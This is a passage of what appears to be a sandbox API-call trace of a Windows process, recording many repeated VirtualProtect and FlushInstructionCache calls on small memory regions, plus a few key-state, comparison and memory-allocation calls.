FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf38ed, dwSize=0x2) returned 1 [0105.019] GetCurrentProcess () returned 0xffffffff [0105.019] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf390c, dwSize=0x14) returned 1 [0105.019] VirtualProtect (in: lpAddress=0xcaf390c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.019] GetCurrentProcess () returned 0xffffffff [0105.019] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf390d, dwSize=0x2) returned 1 [0105.019] GetCurrentProcess () returned 0xffffffff [0105.019] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf392c, dwSize=0x14) returned 1 [0105.019] VirtualProtect (in: lpAddress=0xcaf392c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.020] GetCurrentProcess () returned 0xffffffff [0105.020] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf392d, dwSize=0x2) returned 1 [0105.020] GetCurrentProcess () returned 0xffffffff [0105.020] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf394c, dwSize=0x14) returned 1 [0105.020] VirtualProtect (in: lpAddress=0xcaf394c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.020] GetCurrentProcess () returned 0xffffffff [0105.020] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf394d, dwSize=0x2) returned 1 [0105.020] GetCurrentProcess () returned 0xffffffff [0105.020] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf396c, dwSize=0x14) returned 1 [0105.020] VirtualProtect (in: lpAddress=0xcaf396c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.021] GetCurrentProcess () returned 0xffffffff [0105.021] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf396d, dwSize=0x2) returned 1 [0105.021] GetCurrentProcess () returned 0xffffffff [0105.021] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf398c, dwSize=0x14) returned 1 [0105.021] VirtualProtect (in: lpAddress=0xcaf398c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.022] GetCurrentProcess () returned 0xffffffff [0105.022] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf398d, dwSize=0x2) returned 1 [0105.022] GetCurrentProcess () returned 0xffffffff [0105.022] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ac, dwSize=0x14) returned 1 [0105.022] VirtualProtect (in: lpAddress=0xcaf39ac, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.022] GetCurrentProcess () returned 0xffffffff [0105.022] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ad, dwSize=0x2) returned 1 [0105.022] GetCurrentProcess () returned 0xffffffff [0105.022] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39cc, dwSize=0x14) returned 1 [0105.022] VirtualProtect (in: lpAddress=0xcaf39cc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.023] GetCurrentProcess () returned 0xffffffff [0105.023] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39cd, dwSize=0x2) returned 1 [0105.023] GetCurrentProcess () returned 0xffffffff [0105.023] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ec, dwSize=0x14) returned 1 [0105.023] VirtualProtect (in: lpAddress=0xcaf39ec, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.024] GetCurrentProcess () returned 0xffffffff [0105.024] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ed, dwSize=0x2) returned 1 [0105.024] GetCurrentProcess () returned 0xffffffff [0105.024] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a0c, dwSize=0x14) returned 1 [0105.024] VirtualProtect (in: lpAddress=0xcaf3a0c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.025] GetCurrentProcess () returned 0xffffffff [0105.025] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a0d, dwSize=0x2) returned 1 [0105.025] GetCurrentProcess () returned 0xffffffff [0105.025] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a2c, dwSize=0x14) returned 1 [0105.025] VirtualProtect (in: lpAddress=0xcaf3a2c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.025] GetCurrentProcess () returned 0xffffffff [0105.025] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a2d, dwSize=0x2) returned 1 [0105.025] GetCurrentProcess () returned 0xffffffff [0105.025] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a4c, dwSize=0x14) returned 1 [0105.026] VirtualProtect (in: lpAddress=0xcaf3a4c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.026] GetCurrentProcess () returned 0xffffffff [0105.026] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a4d, dwSize=0x2) returned 1 [0105.026] GetCurrentProcess () returned 0xffffffff [0105.026] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2718, dwSize=0x14) returned 1 [0105.026] VirtualProtect (in: lpAddress=0xf5d2718, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.027] GetCurrentProcess () returned 0xffffffff [0105.027] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2719, dwSize=0x2) returned 1 [0105.027] GetCurrentProcess () returned 0xffffffff [0105.027] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2738, dwSize=0x14) returned 1 [0105.027] VirtualProtect (in: lpAddress=0xf5d2738, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.027] GetCurrentProcess () returned 0xffffffff [0105.027] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2739, dwSize=0x2) returned 1 [0105.028] GetCurrentProcess () returned 0xffffffff [0105.028] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2758, dwSize=0x14) returned 1 [0105.028] VirtualProtect (in: lpAddress=0xf5d2758, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.028] GetCurrentProcess () returned 0xffffffff [0105.028] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2759, dwSize=0x2) returned 1 [0105.028] GetCurrentProcess () returned 0xffffffff [0105.028] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2778, dwSize=0x14) returned 1 [0105.028] VirtualProtect (in: lpAddress=0xf5d2778, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.029] GetCurrentProcess () returned 0xffffffff [0105.029] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2779, dwSize=0x2) returned 1 [0105.029] GetCurrentProcess () returned 0xffffffff [0105.029] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2798, dwSize=0x14) returned 1 [0105.029] VirtualProtect (in: lpAddress=0xf5d2798, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.029] GetCurrentProcess () returned 0xffffffff [0105.029] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2799, dwSize=0x2) returned 1 [0105.029] GetCurrentProcess () returned 0xffffffff [0105.029] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27b8, dwSize=0x14) returned 1 [0105.029] VirtualProtect (in: lpAddress=0xf5d27b8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.030] GetCurrentProcess () returned 0xffffffff [0105.030] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27b9, dwSize=0x2) returned 1 [0105.030] GetCurrentProcess () returned 0xffffffff [0105.030] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27d8, dwSize=0x14) returned 1 [0105.030] VirtualProtect (in: lpAddress=0xf5d27d8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.030] GetCurrentProcess () returned 0xffffffff [0105.030] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27d9, dwSize=0x2) returned 1 [0105.030] GetCurrentProcess () returned 0xffffffff [0105.030] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27f8, dwSize=0x14) returned 1 [0105.031] VirtualProtect (in: lpAddress=0xf5d27f8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.031] GetCurrentProcess () returned 0xffffffff [0105.031] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27f9, dwSize=0x2) returned 1 [0105.031] GetCurrentProcess () returned 0xffffffff [0105.031] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2818, dwSize=0x14) returned 1 [0105.031] VirtualProtect (in: lpAddress=0xf5d2818, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.620] GetCurrentProcess () returned 0xffffffff [0105.636] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2819, dwSize=0x2) returned 1 [0105.651] GetCurrentProcess () returned 0xffffffff [0105.656] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2838, dwSize=0x14) returned 1 [0105.657] VirtualProtect (in: lpAddress=0xf5d2838, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.657] GetCurrentProcess () returned 0xffffffff [0105.657] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2839, dwSize=0x2) returned 1 [0105.658] GetCurrentProcess () returned 0xffffffff [0105.658] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2858, dwSize=0x14) returned 1 [0105.658] VirtualProtect (in: lpAddress=0xf5d2858, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.658] GetCurrentProcess () returned 0xffffffff [0105.658] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2859, dwSize=0x2) returned 1 [0105.658] GetCurrentProcess () returned 0xffffffff [0105.658] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2878, dwSize=0x14) returned 1 [0105.658] VirtualProtect (in: lpAddress=0xf5d2878, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.659] GetCurrentProcess () returned 0xffffffff [0105.659] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2879, dwSize=0x2) returned 1 [0105.659] GetCurrentProcess () returned 0xffffffff [0105.659] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2898, dwSize=0x14) returned 1 [0105.659] VirtualProtect (in: lpAddress=0xf5d2898, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.659] GetCurrentProcess () returned 0xffffffff [0105.659] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2899, dwSize=0x2) returned 1 [0105.659] GetCurrentProcess () returned 0xffffffff [0105.659] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28b8, dwSize=0x14) returned 1 [0105.659] VirtualProtect (in: lpAddress=0xf5d28b8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.660] GetCurrentProcess () returned 0xffffffff [0105.660] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28b9, dwSize=0x2) returned 1 [0105.660] GetCurrentProcess () returned 0xffffffff [0105.660] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28d8, dwSize=0x14) returned 1 [0105.660] VirtualProtect (in: lpAddress=0xf5d28d8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.660] GetCurrentProcess () returned 0xffffffff [0105.660] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28d9, dwSize=0x2) returned 1 [0105.660] GetCurrentProcess () returned 0xffffffff [0105.660] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28f8, dwSize=0x14) returned 1 [0105.660] VirtualProtect (in: lpAddress=0xf5d28f8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.661] GetCurrentProcess () returned 0xffffffff [0105.661] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28f9, dwSize=0x2) returned 1 [0105.661] GetCurrentProcess () returned 0xffffffff [0105.661] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d1188, dwSize=0x14) returned 1 [0105.661] VirtualProtect (in: lpAddress=0xf5d1188, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.661] GetCurrentProcess () returned 0xffffffff [0105.661] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d1189, dwSize=0x2) returned 1 [0105.661] GetCurrentProcess () returned 0xffffffff [0105.661] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11a8, dwSize=0x14) returned 1 [0105.662] VirtualProtect (in: lpAddress=0xf5d11a8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.662] GetCurrentProcess () returned 0xffffffff [0105.662] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11a9, dwSize=0x2) returned 1 [0105.662] GetCurrentProcess () returned 0xffffffff [0105.662] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11c8, dwSize=0x14) returned 1 [0105.662] VirtualProtect (in: lpAddress=0xf5d11c8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.663] GetCurrentProcess () returned 0xffffffff [0105.663] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11c9, dwSize=0x2) returned 1 [0105.663] GetAsyncKeyState (vKey=3) returned 0 [0105.664] GetAsyncKeyState (vKey=3) returned 0 [0105.664] VarCmp (pvarLeft=0x197dcc, pvarRight=0x197dbc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0105.665] CRetailMalloc_Alloc () returned 0xcb2a698 [0105.665] memcpy (in: _Dst=0xcf94f48, _Src=0x1976bc, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0105.665] memcpy (in: _Dst=0xcb2a6b8, _Src=0x197724, _Size=0x18 | out: _Dst=0xcb2a6b8) returned 0xcb2a6b8 [0105.665] CRetailMalloc_Realloc () returned 0xcb2a698 [0105.665] CRetailMalloc_Free () returned 0x1 [0105.665] GetCurrentProcess () returned 0xffffffff [0105.665] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf38ec, dwSize=0x14) returned 1 [0105.665] VirtualProtect (in: lpAddress=0xcaf38ec, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.665] GetCurrentProcess () returned 0xffffffff [0105.665] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf38ed, dwSize=0x2) returned 1 [0105.665] GetCurrentProcess () returned 0xffffffff [0105.665] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf390c, dwSize=0x14) returned 1 [0105.665] VirtualProtect (in: lpAddress=0xcaf390c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.666] GetCurrentProcess () returned 0xffffffff [0105.666] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf390d, dwSize=0x2) returned 1 [0105.666] GetCurrentProcess () returned 0xffffffff [0105.666] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf392c, dwSize=0x14) returned 1 [0105.666] VirtualProtect (in: lpAddress=0xcaf392c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.666] GetCurrentProcess () returned 0xffffffff [0105.666] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf392d, dwSize=0x2) returned 1 [0105.666] GetCurrentProcess () returned 0xffffffff [0105.666] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf394c, dwSize=0x14) returned 1 [0105.667] VirtualProtect (in: lpAddress=0xcaf394c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.667] GetCurrentProcess () returned 0xffffffff [0105.667] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf394d, dwSize=0x2) returned 1 [0105.667] GetCurrentProcess () returned 0xffffffff [0105.667] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf396c, dwSize=0x14) returned 1 [0105.667] VirtualProtect (in: lpAddress=0xcaf396c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.667] GetCurrentProcess () returned 0xffffffff [0105.667] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf396d, dwSize=0x2) returned 1 [0105.667] GetCurrentProcess () returned 0xffffffff [0105.667] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf398c, dwSize=0x14) returned 1 [0105.668] VirtualProtect (in: lpAddress=0xcaf398c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.668] GetCurrentProcess () returned 0xffffffff [0105.668] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf398d, dwSize=0x2) returned 1 [0105.668] GetCurrentProcess () returned 0xffffffff [0105.668] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ac, dwSize=0x14) returned 1 [0105.668] VirtualProtect (in: lpAddress=0xcaf39ac, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.668] GetCurrentProcess () returned 0xffffffff [0105.668] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ad, dwSize=0x2) returned 1 [0105.668] GetCurrentProcess () returned 0xffffffff [0105.669] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39cc, dwSize=0x14) returned 1 [0105.669] VirtualProtect (in: lpAddress=0xcaf39cc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.669] GetCurrentProcess () returned 0xffffffff [0105.669] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39cd, dwSize=0x2) returned 1 [0105.669] GetCurrentProcess () returned 0xffffffff [0105.669] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ec, dwSize=0x14) returned 1 [0105.669] VirtualProtect (in: lpAddress=0xcaf39ec, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.669] GetCurrentProcess () returned 0xffffffff [0105.669] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ed, dwSize=0x2) returned 1 [0105.670] GetCurrentProcess () returned 0xffffffff [0105.670] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a0c, dwSize=0x14) returned 1 [0105.670] VirtualProtect (in: lpAddress=0xcaf3a0c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.670] GetCurrentProcess () returned 0xffffffff [0105.670] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a0d, dwSize=0x2) returned 1 [0105.670] GetCurrentProcess () returned 0xffffffff [0105.670] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a2c, dwSize=0x14) returned 1 [0105.670] VirtualProtect (in: lpAddress=0xcaf3a2c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.671] GetCurrentProcess () returned 0xffffffff [0105.671] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a2d, dwSize=0x2) returned 1 [0105.671] GetCurrentProcess () returned 0xffffffff [0105.671] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a4c, dwSize=0x14) returned 1 [0105.671] VirtualProtect (in: lpAddress=0xcaf3a4c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.671] GetCurrentProcess () returned 0xffffffff [0105.671] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a4d, dwSize=0x2) returned 1 [0105.671] GetCurrentProcess () returned 0xffffffff [0105.671] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2718, dwSize=0x14) returned 1 [0105.671] VirtualProtect (in: lpAddress=0xf5d2718, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.672] GetCurrentProcess () returned 0xffffffff [0105.672] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2719, dwSize=0x2) returned 1 [0105.672] GetCurrentProcess () returned 0xffffffff [0105.672] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2738, dwSize=0x14) returned 1 [0105.672] VirtualProtect (in: lpAddress=0xf5d2738, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.672] GetCurrentProcess () returned 0xffffffff [0105.672] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2739, dwSize=0x2) returned 1 [0105.672] GetCurrentProcess () returned 0xffffffff [0105.673] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2758, dwSize=0x14) returned 1 [0105.673] VirtualProtect (in: lpAddress=0xf5d2758, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.673] GetCurrentProcess () returned 0xffffffff [0105.673] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2759, dwSize=0x2) returned 1 [0105.673] GetCurrentProcess () returned 0xffffffff [0105.673] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2778, dwSize=0x14) returned 1 [0105.673] VirtualProtect (in: lpAddress=0xf5d2778, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.674] GetCurrentProcess () returned 0xffffffff [0105.674] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2779, dwSize=0x2) returned 1 [0105.674] GetCurrentProcess () returned 0xffffffff [0105.674] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2798, dwSize=0x14) returned 1 [0105.674] VirtualProtect (in: lpAddress=0xf5d2798, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.674] GetCurrentProcess () returned 0xffffffff [0105.674] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2799, dwSize=0x2) returned 1 [0105.674] GetCurrentProcess () returned 0xffffffff [0105.674] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27b8, dwSize=0x14) returned 1 [0105.675] VirtualProtect (in: lpAddress=0xf5d27b8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.675] GetCurrentProcess () returned 0xffffffff [0105.675] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27b9, dwSize=0x2) returned 1 [0105.675] GetCurrentProcess () returned 0xffffffff [0105.675] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27d8, dwSize=0x14) returned 1 [0105.675] VirtualProtect (in: lpAddress=0xf5d27d8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.675] GetCurrentProcess () returned 0xffffffff [0105.675] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27d9, dwSize=0x2) returned 1 [0105.676] GetCurrentProcess () returned 0xffffffff [0105.676] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27f8, dwSize=0x14) returned 1 [0105.676] VirtualProtect (in: lpAddress=0xf5d27f8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.676] GetCurrentProcess () returned 0xffffffff [0105.676] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27f9, dwSize=0x2) returned 1 [0105.676] GetCurrentProcess () returned 0xffffffff [0105.676] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2818, dwSize=0x14) returned 1 [0105.676] VirtualProtect (in: lpAddress=0xf5d2818, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.676] GetCurrentProcess () returned 0xffffffff [0105.676] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2819, dwSize=0x2) returned 1 [0105.677] GetCurrentProcess () returned 0xffffffff [0105.677] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2838, dwSize=0x14) returned 1 [0105.677] VirtualProtect (in: lpAddress=0xf5d2838, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.677] GetCurrentProcess () returned 0xffffffff [0105.677] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2839, dwSize=0x2) returned 1 [0105.677] GetCurrentProcess () returned 0xffffffff [0105.677] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2858, dwSize=0x14) returned 1 [0105.677] VirtualProtect (in: lpAddress=0xf5d2858, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.677] GetCurrentProcess () returned 0xffffffff [0105.678] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2859, dwSize=0x2) returned 1 [0105.678] GetCurrentProcess () returned 0xffffffff [0105.678] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2878, dwSize=0x14) returned 1 [0105.678] VirtualProtect (in: lpAddress=0xf5d2878, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.678] GetCurrentProcess () returned 0xffffffff [0105.678] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2879, dwSize=0x2) returned 1 [0105.678] GetCurrentProcess () returned 0xffffffff [0105.678] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2898, dwSize=0x14) returned 1 [0105.678] VirtualProtect (in: lpAddress=0xf5d2898, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.678] GetCurrentProcess () returned 0xffffffff [0105.678] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2899, dwSize=0x2) returned 1 [0105.679] GetCurrentProcess () returned 0xffffffff [0105.679] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28b8, dwSize=0x14) returned 1 